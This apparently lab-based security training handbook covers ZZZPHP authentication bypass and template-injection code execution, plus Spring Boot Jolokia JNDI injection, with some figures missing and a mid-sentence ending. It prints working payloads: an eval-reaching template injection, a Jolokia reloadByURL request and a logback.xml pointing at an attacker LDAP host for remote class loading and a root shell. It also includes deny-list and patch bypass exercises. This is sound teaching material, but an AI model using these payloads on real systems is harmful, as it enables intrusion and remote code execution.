Course Handbook
Course Handbook
Course Handbook
1 / 132
Table of Contents
1. How to Use This Book
2. Exercises
3. Setup
3.1. Gitlab Login
3.2. Starting a Module
3.3. Checking the Status
3.4. Patching or Modifying Code
3.5. Stopping and Cleaning Up
3.6. Gitlab Logout
3.7. Web Proxy
4. Module 1 – ZZZPHP Template Injection Remote Code Execution
4.1. Getting Started
4.2. ZZZPHP ISSESSION adminid Authentication Bypass Vulnerability
4.2.1. Vulnerability Analysis
4.2.2. Proof of Concept
4.2.3. Exercise - Misdirection
4.3. ZZZPHP parserIfLabel eval PHP Code Injection
4.3.1. Vulnerability Analysis
4.3.1.1. Injection
4.3.1.2. Execution
4.3.2. Proof of Concept
4.3.3. Exercise - Touch and Go
4.4. The Ev1l eva1 Deny list
4.4.1. Exercise - A Lie in the Deny, Lists
4.4.2. Exercise - Poor Patch
4.5. Exercise - Shortest Path to Rome
5. Module 2 – Spring Boot Actuators Jolokia reloadByURL JNDI Injection
5.1. Getting Started
5.2. Triggering the Vulnerability
5.3. Static Vulnerability Analysis
5.4. Dynamic Analysis
5.4.1. Exercise - Hunt the Code
5.4.2. Exercise - Horizontal Audit
5.5. Remote Class Loading
5.5.1. Vector Analysis
5.5.2. Exploitation
5.5.3. Exercise – Attack Replay
5.5.4. Mitigation
5.6. Deserialization of Untrusted Data
5.6.1. Introduction to Java Deserialization
5.6.2. Java Magic Methods
5.6.3. Serialization in Action
5.6.4. An Example Vulnerability
2 / 132
5.6.5. Exploitation Tools
5.6.6. JNDI Exploitation using Deserialization
5.6.7. Exercise – Find the Gadget
5.6.8. Exercise – Find the Vector
5.6.9. Bypass Gadgets
5.6.10. Exercise - MySQL Trickery
5.6.11. Externalizable vs Serializable
5.6.12. Pivoting from readExternal
5.6.13. Exercise - Find another Gadget
6. Module 3 - Shopware PHP Object Instantiation
6.1. Getting Started
6.2. Vulnerability Analysis
6.3. XML Parsing
6.3.1. XML Entities
6.3.2. Understanding XML External Entity Processing Vulnerabilities
6.4. Triggering the Vulnerability
6.5. Exercise - Crafting Objects for SSRF
6.6. Exercise - Crafting Objects for XXE
6.7. Crafting the SimpleXMLElement Object for a Blind XXE
6.7.1. PHP Wrappers
6.7.2. File System Access Over HTTP
6.7.3. Questions
6.7.4. Exercise - Replay the Attack Flow
6.7.5. Exercise - Silent Exfiltration
6.7.6. Exercise - Pure Parameter Entities
6.7.7. Bonus! Filesystem Access Via Entity Overwrites
6.7.8. Exercise - Entity Overwrite
6.7.9. The PHP way
6.8. Crafting the SimpleXMLElement Object for Object Injection
6.8.1. Magic Methods
6.8.1.1. __construct
6.8.1.2. __call
6.8.1.3. __tostring
6.8.1.4. __get and __set
6.8.1.5. __wakeup
6.8.1.6. __destruct
6.8.1.7. Serialization and Deserialization
6.8.2. Pivot Primitives
6.8.3. Exercise - Replay and Discover
6.8.4. Chaining Primitives & Attack Flow
6.8.5. Leaking the Full Path to the Web Root (Primitive 3)
6.8.6. Exercise - Use the Source Luke!
6.8.7. Generating a Malicious Phar (Primitive 4)
6.8.8. Technique for POP chain development
6.8.9. Exercise - POP Chain Development
6.8.10. File Upload (Primitive 5)
3 / 132
6.8.11. Exercise - Scour the Source Code
6.8.12. Leaking the Location of the Phar (Primitive 6)
6.8.13. Exercise - The Seven Steps to Nirvana
6.8.14. Exercise - GODMODE
6.9. Bonus!
6.9.1. Vulnerability Analysis
6.9.2. Exercise - ZERODAY
7. Module 4 - Java URI Filter Bypasses and Remote Code Execution
7.1. Getting Started
7.2. Expression Language Injection
7.2.1. Common EL Payloads
7.2.2. Case Study - HPE iMC smsRulesDownload Expression Language Injection Remote
Code Execution
7.2.3. Exercise - Dynamic Bypasses
7.2.4. Exercise - Find the EL Injection Vulnerability!
7.3. URI Filter Authentication Bypasses
7.3.1. Chain of Responsibility
7.3.2. Case Study 1 - startsWith Directory Traversal
7.3.3. Case Study 2 - endsWith Path Parameter Injection
7.3.4. Exercise - Java Filter Authentication Bypasses
7.4. Request Forwarding Authentication Bypasses
7.4.1. Case Study 3 - Arbitrary Forwards
7.4.2. Exercise - Looking Forward
7.5. Deserialization of Untrusted Data 102
7.5.1. Pivot Gadgets
7.5.2. Exercise - Finding the equals pivot / trampoline
7.5.3. Mitigation
7.5.4. Object Validation
7.5.5. Exercise - Attacking Java Deserialization
8. Module 5 - FreeMarker Server-Side Template Injection
8.1. Getting Started
8.2. Overview of the Target
8.3. Debugging Example
8.3.1. Exercise – Setup the Debug Stub port 443
8.3.2. Exercise – Setup the Debug Stub port 9200
8.3.3. Source Code
8.4. Vulnerability Analysis
8.4.1 Exercise - Find the template
8.4.2 Exercise - Find out where the Exception is thrown!
8.5. Exploitation
8.5.1 Exercise - Write a Proof of Concept
8.6. Patch Analysis
8.7 Hardening
8.7.1 Exercise - Hunt the config and harden it!
9. Appendix A
10. Appendix B
4 / 132
11. Appendix C
12. Appendix D
5 / 132
1. How to Use This Book
This book is designed to contain the complete technical details of all modules in this class.
The course work has been broken up into "modules" for better understanding. Each module holds several key
learning objective delineating it's main purpose.
2. Exercises
The exercises are designed to be completed in order. Please do not attempt to complete exercises further
ahead in the module unless you have completed the prior ones or advised to by your instructor.
All exercise templates can be found will be shared by your instructor if needed. If you are able, it's advised
that you attempt to complete the exercises without the assistance of the provided templates.
All of the answers will be provided on the final day of training however your instructor will walk through
several answers during the course. Some exercises are awarded prizes for originality and creativity.
3. Setup
3.1. Gitlab Login
In order to access the images for this class, you will need to login to your gitlab account and ensure that the
instructor has added your account to the class container repository.
Login Succeeded
You can also login with a personal access token These tokens are preferred since you can revoke access when
you are done with the course:
6 / 132
Login Succeeded
Your credentials are stored, so you shouldn't have to re-enter them, just keep in mind they are stored in plain-
text by default in the VM.
Now you will be able to run the ./bin/startd command in the module. This will download your images
from the private container repository and build your container:
student@target:~/module-1$ ./bin/startd
Creating network "module-1_default" with the default driver
Pulling db (registry.gitlab.com/source-incite/fswa/module-1-db:latest)...
latest: Pulling from source-incite/fswa/module-1-db
75646c2fb410: Pull complete
...
Digest: sha256:95a3b244b2e990ce5633dd449326cec6ce20e9e366ba01fdf11ebc15a9cd38d3
Status: Downloaded newer image for registry.gitlab.com/source-incite/fswa/module-
1-db:latest
Pulling web (registry.gitlab.com/source-incite/fswa/module-1-web:latest)...
latest: Pulling from source-incite/fswa/module-1-web
f7e2b70d04ae: Pull complete
...
Digest: sha256:4826b6f2e2e60767644a7b9f753829690851987d304743d4adc15b80d541d8d5
Status: Downloaded newer image for registry.gitlab.com/source-incite/fswa/module-
1-web:latest
Creating mysql_db ... done
Creating php_web ... done
In some modules, you can also start a module and restore the code using the -p flag incase you have messed
things up!
student@target:~/module-1$ ./bin/startd -p
(+) restoring code...
Creating network "module-1_default" with the default driver
Creating module-1-db ... done
Creating module-1-web ... done
student@target:~/module-1$ ./bin/checkstatus
(+) ready for testing
7 / 132
3.4. Patching or Modifying Code
Some modules will require you to run ./bin/patch, ./bin/unpatch or ./bin/restore.
student@target:~/module-1$ ./bin/patch
Stopping module-1-web ... done
Stopping module-1-db ... done
Removing module-1-web ... done
Removing module-1-db ... done
Removing network module-1_default
(+) patching...
Creating network "module-1_default" with the default driver
Creating module-1-db ... done
Creating module-1-web ... done
student@target:~/module-1$ ./bin/unpatch
Stopping module-1-web ... done
Stopping module-1-db ... done
Removing module-1-web ... done
Removing module-1-db ... done
Removing network module-1_default
(+) removing patch...
Creating network "module-1_default" with the default driver
Creating module-1-db ... done
Creating module-1-web ... done
student@target:~/module-1$ ./bin/restore
Stopping module-1-web ... done
Stopping module-1-db ... done
Removing module-1-web ... done
Removing module-1-db ... done
Removing network module-1_default
(+) restoring code to original state
Creating network "module-1_default" with the default driver
Creating module-1-db ... done
Creating module-1-web ... done
student@target:~/module-1$ ./bin/stopd -c
Stopping php_web ... done
Stopping mysql_db ... done
8 / 132
Removing php_web ... done
Removing mysql_db ... done
Removing network module-1_default
Deleted Images:
untagged: registry.gitlab.com/source-incite/fswa/module-1-db:latest
untagged: registry.gitlab.com/source-incite/fswa/module-1-
db@sha256:95a3b244b2e990ce5633dd449326cec6ce20e9e366ba01fdf11ebc15a9cd38d3
deleted: sha256:cd0f0b1e283d233c244996ebe85014ed694b9016abd352837d46e6a53866c271
...
untagged: registry.gitlab.com/source-incite/fswa/module-1-web:latest
untagged: registry.gitlab.com/source-incite/fswa/module-1-
web@sha256:4826b6f2e2e60767644a7b9f753829690851987d304743d4adc15b80d541d8d5
deleted: sha256:f022d6f615f3872731ddde2ed762620de14134faac4367b1ec8f2600f3f8b5bb
...
For training purposes, we will be using the in-built preconfigured Chrome browser along with hostname
resolution. Below you will find the settings.json file that you can load into Burp Suite after changing the
<ip_ddress>:
{
"project_options":{
"connections":{
"hostname_resolution":[
{
"enabled": true,
"hostname": "target",
"ip_address": "<ip_ddress>"
}
]
}
}
}
9 / 132
4. Module 1 – ZZZPHP Template Injection Remote
Code Execution
Key learning objectives:
Identifiers:
CVE-2019-9041
Please note: The first time you start the module, it will pull the images from the source incite private repository.
Check the status with ./bin/checkstatus to verify it's ready for testing. At this point you should be able to
access the web interface from the attackers machine including the admin interface:
For the second half of the analysis, we will require the target application to be debugged. If you have
experience with PHP then you are welcome to use print statements however we do encourage you to use the
following debug environment.
Provided in your module-1 directory, you will see a debug.code-workspace file. Open this visual studio code
workspace file by double clicking it. You should have a breakpoint set in the admin871/login.php on line 3.
10 / 132
You can test that the default breakpoint works by pressing F5 to start the listener. Ensure that you use the
correct debug configuration
Once you are debugging, access the http://target:8080/admin871/login.php page with a GET request
and you should be hitting your breakpoint.
11 / 132
Previous research from Yang Chenglong revealed CVE-2019-9082 which is a Cross Site Request Forgery (CSRF)
vulnerability that can be chained to achieve unauthenticated remote code execution.
When given ample time to review the code, we can often achieve maximum impact by discovering other
authentication bypass vulnerabilities that do not require user interaction at all.
The vulnerability analysis in this section references the path to where your module 1 source directory is. If you
installed it into your home directory, it should be located in ~/module-1/php/.
<?php
require '../inc/zzz_class.php';
if (is_null(get_session('adminid'))) return false; // 1
At [1] the code calls get_session with the string "adminid" and if it returns NULL, then the
admin871/functions.php script will return false and not continue executing.
There are similar code patterns in the inc/zzz_admin.php script which is used by admin871/index.php
script, however the code will simply redirect the attacker using the phpgo function if get_session function
returns NULL. The following code is abstracted from inc/zzz_admin.php script:
<?php
require 'zzz_class.php';
if ($conf['isinstall']==0) error('很抱歉!程序未安装, <span id=time></span>即将进入安
装界⾯',SITE_PATH.'install/');
if (isnul(get_session('adminid'))) phpgo("login.php");
12 / 132
At [2] the code checks for a global constant "ISSESSION" and if it's set to 0, then at [3] the $data variable is
set with an attacker controlled cookie value. Finally at [4] the code returns the attacker controlled data value.
But where is this "ISSESSION" constant defined? As it turns out, its defined in the inc/zzz_class.php script:
If the "ISSESSION" constant is defined as 0 at [5], then the code will continue executing after [1] inside of the
admin871/function.php script. The $_SERVER['prefix'] variable used at [3] inside of the
inc/zzz_main.php script with the prefix set to "zzz" in the inc/zzz_class.php script:
<?php
$conf=array(
//...
'prefix'=>'zzz_',//cookie,session,前缀,建议每个⽹站设不⼀样的
This allows a remote attacker to bypass authentication and obtain a valid session id if the attacker supplies a
cookie called zzz_adminid.
The following request will return a 200 OK response from the targeted web server:
HTTP/1.1 200 OK
However, a request that is sent without a cookie value returns the following response
13 / 132
HTTP/1.1 302 Found
Replay the supplied Proof of Concept (PoC) in a web proxy and attempt to get a 200 OK response from the
webserver.
What are other indicators from the server response that demonstrate whether your request was successful or
not? Note these down
Furthermore, this approach also applies to a typical unrestricted file upload scenario. An attacker first uploads
the backdoor code and consequently another request is required to execute it in the context of the web
server. It's important to distinguish between the two (or more) requests, due to the fact that it's not always
possible to directly execute the code and we may need to leverage file inclusion or other such primitives to
execute uploaded code. This was demonstrated in CVE-2018-18903.
In that example, the application contained a line of code that blocks execution if a constant isn't defined,
known as a show stopper in the conf/config.php script:
Any code injected after the first line cannot be executed if the conf/config.php script is directly accessed via
the web server, since the APPLICATION constant wasn't defined.
However, let's think for a second, what if the index.php script contains the following code?
<?php
define('APPLICATION', 1);
include('conf/config.php');
In this case we can render our backdoored conf/config.php script to gain remote code execution given that
the APPLICATION constant was previously defined. Considering constants are global, they can be defined
anywhere in the runtime, as long as it's before the first line of conf/config.php.
It's safe to say that the majority of the injection vulnerabilities (with the exclusion of deserialization
vulnerabilities) are a result of allowing the execution of the injected code.
14 / 132
Granted, most deserialization vulnerabilities encapsulate both the injection and execution stages into a single
stage.
We have divided the vulnerability analysis into two parts, injection and execution stages.
4.3.1.1. Injection
<?php
require '../inc/zzz_class.php';
if (is_null(get_session('adminid'))) return false;
$act=safe_word(getform('act','get')); // 1
$type=safe_word(getform('type','both'),10);
switch ($act) { // 2
case 'about': return save_about(); break;
case 'ad': return save_ad(); break;
case 'admingroup': return save_admingroup(); break;
case 'backup': return backup(); break;
case 'brand': return save_brand(); break;
case 'content': return save_content(); break;
case 'copyid': return copy_id(); break;
case 'custom': return save_custom(); break;
case 'delallfile': return delallfile($type); break;
case 'delfile': return delfile(); break;
case 'delcustom': return del_custom(); break;
case 'delsort': return del_sort(); break;
case 'editfile': return editfile(); break; // 3
At [1] an attacker can supply the variable $act as a GET variable and then at *[2]*s the code performs a switch
statement based on the supplied input. It's possible for an attacker to reach [3], the editfile function which
is defined in the same script:
function editfile(){
$file=getform('file','post'); // 4
$filetext=getform('filetext','post'); // 5
$file_path=file_path($file);
$safe_path=array('upload','template','runtime'); // 6
if(arr_search($file_path,$safe_path)){
$file=$_SERVER['DOCUMENT_ROOT'].$file;
!(is_file($file)) and layererr('保存失败,文件不存在'); // 7
}else{
layererr('非安全⽬录文件不允许修改');
}
if (create_file($file,$filetext)){ // 8
layertrue ('修改成功');
} ...
}
15 / 132
At [4] and [5], the code gets the supplied input from a POST request using the getform function. The $file
variable contains the file path and the $filetext variable contains the content of the file.
At [6] the code begins to check that the path contains the allow list of values in $safe_path. If none of them
exist in the path, the code throws an error message. Then at [7] the code verifies that the file path exists and
at [8] the code calls create_file with the attacker controlled arguments.
At [9] the code checks that the extension of the file we are editing is not in a deny list and at [10] the code
opens a writeable handle to the file path the attacker provided. Finally at [11] the attackers controlled content
is written to the file.
4.3.1.2. Execution
Now that we can essentially write almost any content into an existing file that doesn't have the extension
"php", "asp", "aspx", "exe", "sh", "sql" or "bat", we are left with only html files. Let's see how the HTML content is
rendered. Inside of the search/index.php script we find the following code:
<?php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php'
require 'zzz_template.php';
if (conf('webmode')==0) error(conf('closeinfo'));
$location=getlocation(); // 1
At [1] the code sets the location variable to whatever is requested in the URI using the getlocation function.
So for example if you request:
http://target:8080/search/
16 / 132
Then location will be search. This function does more to dynamically extract the location and may be used to
bypass URI checks. Subsequently, much later in the code, we see the following:
At [2] the code checks the $location variable and if it's set to "search", "form", "screen" or "app" then it will
land in the code block above. At [3] the code then loads the content from either the search.html,
screen.html, form.html or the app.html template file. Next at [4] the code creates a new instance of the
ParserTemplate class. Lastly, at [5] the code calls parserCommon on the content in the html template file.
Now we need to see where the ParserTemplate class is defined. When examining the inc/zzz_template.php
file, we find the following code:
class ParserTemplate {
// 解析全局公共标签
public
function parserCommom( $zcontent ) { // 6
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
$zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
$zcontent = $this->parserlocation( $zcontent ); // 站点标签
$zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
$zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
$zcontent = $this->parserbrandloop( $zcontent );
$zcontent = $this->parserGbookList( $zcontent );
$zcontent = $this->parserUser( $zcontent ); //会员信息
$zcontent = $this->parserLabel( $zcontent ); // 指定内容
$zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
$zcontent = $this->parserad( $zcontent );
$zcontent = parserPlugLoop( $zcontent );
$zcontent = $this->parserOtherLabel( $zcontent );
$zcontent = $this->parserIfLabel( $zcontent ); // 7
At [6], the parserCommon function is defined and calls several functions. At [7] parseCommon finally calls the
parserIfLabel function with the content from the html template file. Let's investigate the parserIfLabel
function:
public
function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
17 / 132
if ( preg_match_all( $pattern, $zcontent, $matches ) ) { // 8
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ]; // 9
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=",
"'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . ')
{$flag="if";}else{$flag="else";}' ); //10
Inside of the parserIfLabel function, there is a regex check at [8], however this check matches on anything
inside the if statements. For example: {if:[ANY_STRING_HERE]}[ANY_STRING_HERE]{end if}.
Later, at [9] the code extracts the matched value and places it into $ifstr variable and ultimately at [10] the
code calls eval on the attackers supplied and matched value from within the injected html file.
Essentially, this vulnerability manifests as a result of the developers attempting to create their own templating
system and trusting template syntax.
When combined with the first vulnerability an unauthenticated attacker can inject PHP code into the
search.html file:
file=/template/pc/cn2016/html/search.html&filetext={if:phpinfo()}{end if}
The attacker can then execute code by visiting the search page:
18 / 132
GET /search/ HTTP/1.1
Host: target:8080
Replicate the attack manually as demonstrated and execute the phpinfo function. Once this is complete,
build your own PoC exploit script to automate the attack and execute the phpinfo function. Feel free to use
any scripting language you are comfortable with.
We can see at [1] and [2] that attacker controlled input from $_POST and $_GET super global arrays are
filtered through this function. However, what is not checked is $_SERVER, $_REQUEST and $_COOKIE super
global arrays. At [3] the code calls the txt_html function on the attacker influenced array and returns the
result.
function txt_html( $s ) {
if ( !$s ) return $s;
if ( is_array( $s ) ) { // 数组处理
foreach ( $s as $key => $value ) {
$string[ $key ] = txt_html( $value );
}
} else {
if (get_magic_quotes_gpc()) $s = addslashes( $s );
$s = trim( $s );
//array("'"=>"'",'"'=>""",'<'=> "<",'>'=> ">");
if ( DB_TYPE == 'access' ) {
$s= toutf( $s );
$s = str_replace( "'", "'", $s );
$s = str_replace( '"', """, $s );
$s = str_replace( "<", "<", $s );
$s = str_replace( ">", ">", $s );
}else{
$s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );
}
$s = str_replace( "\t", ' ', $s );
$s = preg_replace('/script/i', 'scr1pt', $s );
$s = preg_replace('/\.php/i', '.php', $s );
$s = preg_replace('/ascii/i', 'asc11', $s );
$s = preg_replace('/eval/i' , 'eva1', $s ); // 4
$s = str_replace( "┠", "", $s );
$s = str_replace( "┼", "", $s );
$s = str_replace( "\r\n", "\n", $s );
$s = str_replace( "\n", '<br/>', $s );
}
return $s;
}
20 / 132
At [4], we can see that this function replaces any "eval" in the attacker controlled input to eva1. Note the
difference here, the l is replaced with a 1. This means we can't use the eval function when performing our
injection, or can we?
Bypass the eval deny list and execute a PHP function that will dynamically evaluate code. Use whatever
creative means possible to do so! Once completed, attempt to answer the following question:
Why is it important to get complete, dynamic code execution? What advantage will that give us?
Please note that PHP functions that execute commands are not dynamically evaluating code.
The senior administrator decided to try to patch the bug after they saw active exploitation attempts in the
apache log file. They added the following code to inc/zzz_client.php:
function faulty_patch(){
$deny_list = Array("/search/", "/form/", "/screen/", "/app/");
$r=parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if(in_array($r, $deny_list)) { die("exploit attempt! Your IP has been
logged!");}
}
faulty_patch();
To apply the patch, first stop the container with ./bin/stopd and then run ./bin/patch followed by
./bin/startd.
You will need to wait a few moments for this to complete. You can check the logs of the containers by running
./bin/checkstatus:
To revert back the patch, run the ./bin/stopd script and then ./bin/unpatch.
Attempt to bypass this patch with the same injection into the search.html file. A hint has already been
provided in the course material!
21 / 132
Find an alternate path that can trigger the same bug unauthenticated. Feel free to use online resources and
document the call stack you used to reach the bug.
Identifiers:
CVE-2018-3149
http://target:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.lo
gback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/<attacker>!/logback.xml
The above request will make a request to the attackers supplied server:
22 / 132
<configuration>
<insertFromJNDI env-entry-name="ldap://attacker.tld:1389/jndi" as="appName" />
</configuration>
The attacker.tld string is where the attacker supplies their server(s). The first outbound request is using the
HTTP protocol and the second is using the LDAP protocol. It's also possible to use an RMI server here, which
will be discussed later in this module.
23 / 132
// 27: invokevirtual 73 ch/qos/logback/classic/LoggerContext:getName
()Ljava/lang/String;
// 30: invokevirtual 67 java/lang/StringBuilder:append
(Ljava/lang/String;)Ljava/lang/StringBuilder;
// 33: invokevirtual 80 java/lang/StringBuilder:toString
()Ljava/lang/String;
// 36: invokevirtual 175 ch/qos/logback/classic/jmx/JMXConfigurator:addInfo
(Ljava/lang/String;)V
// 39: aload_0
// 40: getfield 42
ch/qos/logback/classic/jmx/JMXConfigurator:loggerContext
Lch/qos/logback/classic/LoggerContext;
// 43: invokevirtual 216 ch/qos/logback/classic/LoggerContext:reset ()V
// 46: aload_0
// 47: aload_2
// 48: invokevirtual 212
ch/qos/logback/classic/jmx/JMXConfigurator:addStatusListener
(Lch/qos/logback/core/status/StatusListener;)V
// 51: aload_1
// 52: ifnull +82 -> 134
// 55: new 219 ch/qos/logback/classic/joran/JoranConfigurator
// 58: dup
// 59: invokespecial 221 ch/qos/logback/classic/joran/JoranConfigurator:
<init> ()V
// 62: astore_3
// 63: aload_3
// 64: aload_0
// 65: getfield 42
ch/qos/logback/classic/jmx/JMXConfigurator:loggerContext
Lch/qos/logback/classic/LoggerContext;
// 68: invokevirtual 222
ch/qos/logback/classic/joran/JoranConfigurator:setContext
(Lch/qos/logback/core/Context;)V
// 71: aload_3
// 72: aload_1
// 73: invokevirtual 226
ch/qos/logback/classic/joran/JoranConfigurator:doConfigure (Ljava/net/URL;)V
// 1
Unfortunately for us, this method only decompiles to bytecode with the JD-GUI, but that doesn't stop us from
performing an analysis on it.
Upon close inspection at [1] we see that the doConfigure method stands out because it is the first method
that is using the supplied URL. We can navigate out of the jmx directory and into the joran directory to find
the JoranConfigurator class.
Side note: You may have better luck decompiling with the fernflower decompiler provided with Intellij IDEA.
24 / 132
It's interesting to note that the JoranConfigurator class is sub classed from JoranConfiguratorBase. Let's
hunt for that class.
We can open this class with our JD-GUI app and inspect it:
Again, we can see it is sub-classed from GenericConfigurator. Let's click on that class and inspect it.
urlConnection.setUseCaches(false);
in = urlConnection.getInputStream();
doConfigure(in, url.toExternalForm()); // 1
String errMsg;
String errMsg;
String errMsg;
25 / 132
return;
}
At [1] the code calls another doConfigure method with the input response stream from our supplied URL as
the in variable. At this point, we can trigger a Server Side Request Forgery (SSRF) vulnerability using an
attacker supplied URL.
Beyond this point of static analysis, it's very likely we will get lost in the source code due to the level of
abstraction. In order to analyze further, we are going to have to use dynamic analysis with a Java debugger.
Now, you will need to click into the debug view and run the remote debugger.
Once you have done this, you should be successfully debugging the module-2 application!
26 / 132
Note here you can see the thread stack of the application. Now we are going to switch to your host machine
and trigger the vulnerability from your proxy tool. To ensure that we hit our breakpoint, we need to configure
our attackers environment.
Ensure that you have a logback.xml file with the following contents. Here my attacker VM IP address is
172.16.175.196, yours will be different.
For now, it's not important to have the port 1389 open, as we are just attempting to reach the breakpoint in
order to debug further. Now that we have our logback.xml file set, we are ready to start a web server so that
your target VM can reach the logback.xml file.
Once you have done that, you can attempt to trigger the vulnerability. Here I am using the IP address
172.16.175.196 as the attacking host:
GET
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.
JMXConfigurator/reloadByURL/http:!/!/172.16.175.196:9090!/logback.xml HTTP/1.1
Host: target:8080
Connection: close
27 / 132
If all is successful, you should be able to see that the request is "waiting", which is because the target VM has
triggered the breakpoint! Switching back to eclipse, we should see that we hit the breakpoint.
From this point forward, we will step into the doConfigure method and then step into the next doConfigure
method.
28 / 132
Again, we step into the doConfigure method:
That was the last doConfigure method, now we can step into the play method:
Do you see where we are? We are calling XML parsing methods within the interpreter class which gives us
a hint about what is going on. The code is dynamically making a function call using our string values inside of
our XML payload. This is a form of unmarshalling.
29 / 132
Then, step into the next startElement method call again.
Now when we reach the callBeginAction method, we see something very important
The code is calling an action class called configurationAction, which, we actually defined in our
logback.xml file as an XML root element:
<configuration><insertFromJNDI env-entry-name="ldap://172.16.175.196:1389/jndi"
as="appName"/></configuration>
If we set a breakpoint on the callBeginAction method call, inside of startElement method defined in the
interpreter class, then the second time we hit it, we can see what is happening:
30 / 132
There's just one last question we need to answer before pinpointing the exact root cause of the vulnerability.
What is the dynamic method that is called on the insertFromJNDIAction class?
There have been several hints along the way, but let's debug a little further. Once you hit the
callBeginAction method, step into the method.
The callBeginAction method loops through the available actions and calls the begin method on it. At this
point, we continue by stepping into the begin method on the insertFromJNDIAction class.
One of the first things that happens when stepping into this method, is that the envEntryName variable is set
to the value we control in the logback.xml file. This is our attacking LDAP Server.
Continuing along, we have to ensure that the as attribute is also set to avoid any errors in processing. Then
finally we reach what we think maybe a lookup method call using our controlled URI.
31 / 132
To verify our suspicions, let's check the JNDIUtil classes lookup method to see what is happening:
Bingo! We can confirm that the vulnerability exists in the lookup method in the
ch.qos.logback.classic.util.JNDIUtil class. Depending on how the developer patches (if they do at
all), it could also be considered that the vulnerability resides in the
ch.qos.logback.classic.joran.action.insertFromJNDIAction class. For completeness, listed below is
the insertFromJNDIAction class.
At [1] and [2] the code reads the attacker supplied XML attributes "env-entry-name" and "as" and sets the
envEntryName and asKey variables with the values.
Then, at [3] and [4] the checks are made to ensure that these variables are not empty. If they are, the code at
[5] will return and not reach the code path at [6] and [7] which is where the vulnerable lookup method call is
made on the InitialContext object.
Given that you know two different available action classes (configurationAction and
InsertFromJNDIAction), find the remaining action classes and the class that registers new instances of these
action handlers.
Some hints:
Use the open type hierarchy and the open call hierarchy in the eclipse module-2 project.
Search for a class that registers all new instances of the action class handlers.
Now that you have found the class that registers the action handlers, attempt to audit each of the action
handler begin methods and look for another vulnerability. Do you spot any? If you do, document the
vulnerable source code and present your findings to the instructor.
Quite often as security researchers, we stumble upon code that allows us to load arbitrary classes, therefore
understanding Java's class loader hierarchy is essential for auditing complex enterprise applications.
33 / 132
On older versions of Oracle Java <= (6u201/7u191/8u182) LDAP was enabled for remote class loading from
untrusted sources. This was set with the following configuration by default:
com.sun.jndi.ldap.object.trustURLCodebase = true
Also, on older versions of Oracle Java <= (6u141/7u131/8u121) RMI was enabled for remote class loading
from untrusted sources. This was set with the following configuration by default:
com.sun.jndi.rmi.object.trustURLCodebase = true
In our test environment, we have two different Java versions available. This section will use the first version
which is Java 8u60 and is vulnerable to remote class loading. Let's investigate the code in this version for the
remote class loading. Inside of the javax.naming.spi.NamingManager class we can see the following
important code:
/*
* Disallow anyone from creating one of these.
* Made package private so that DirectoryManager can subclass.
*/
NamingManager() {}
34 / 132
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // 3
} catch (ClassNotFoundException e) {
}
}
The code makes two attempts at loading a class when looking up an object reference via LDAP or RMI. At [1]
the code gets the current version helper and at [2] the code attempts to load a class that has been sent from
the malicious LDAP or RMI Server. If the execution fails at [2] , then the code continues to attempt to load a
class via the loadClass method call at [3].
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase) // 4
throws ClassNotFoundException, MalformedURLException {
35 / 132
return loadClass(className, cl); // 5
}
At [4] we can see the entry point for the public method loadClass using the attacker supplied codebase
parameter from a malicious LDAP Server. which later calls the private method of the loadClass method at [5]
using a new instance of the URLClassLoader.
Finally, at [6] the code calls forName for a class lookup using the URLClassLoader instance.
5.5.2. Exploitation
Now that we understand where the class loading is taking place, lets attempt to exploit it.
In 2017 Moritz Bechler released his marshalsec tool which includes exploitation payloads for several Java
marshallers. Several of the marshallers rely on JNDI Injection for remote exploitation, therefore Moritz
included two JNDI Reference indirection servers, one for LDAP and one for RMI.
These allow an attacker to define a codebase path for when a lookup is made from a client, and redirect the
client (the victim) to an attacker controlled http server where the a malicious class can be loaded from remote.
We are going to perform this attack. To start, ensure that your logback.xml file contains the following XML
configuration:
<configuration>
<insertFromJNDI env-entry-name="ldap://[attacker.tld]:1389/jndi" as="appName" />
</configuration>
Once we have setup our logback.xml file correctly, we will need to run a HTTP Server:
36 / 132
We can see that the redirect request for the Java class file was sent to our attacking HTTP Server on port 9090
(which is also hosting our logback.xml payload).
Further inspection of our HTTP Server logs reveals that a request was first made for logback.xml and then a
second request was made for the SourceIncite class.
However the SourceIncite class doesn't exist! Let's write our own class, compile it and trigger the
vulnerability. Below is a template:
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
Once you have inserted some code, compile it with javac on the command line and trigger the bug to get a
root shell!
37 / 132
5.5.3. Exercise – Attack Replay
Attempt to replay the complete attack and build your own class file. You can call the class whatever you like,
demonstrate that you can achieve remote code execution against the target using this method.
Remember, if you want to access the container module-2 to verify your payload worked (maybe you wrote a
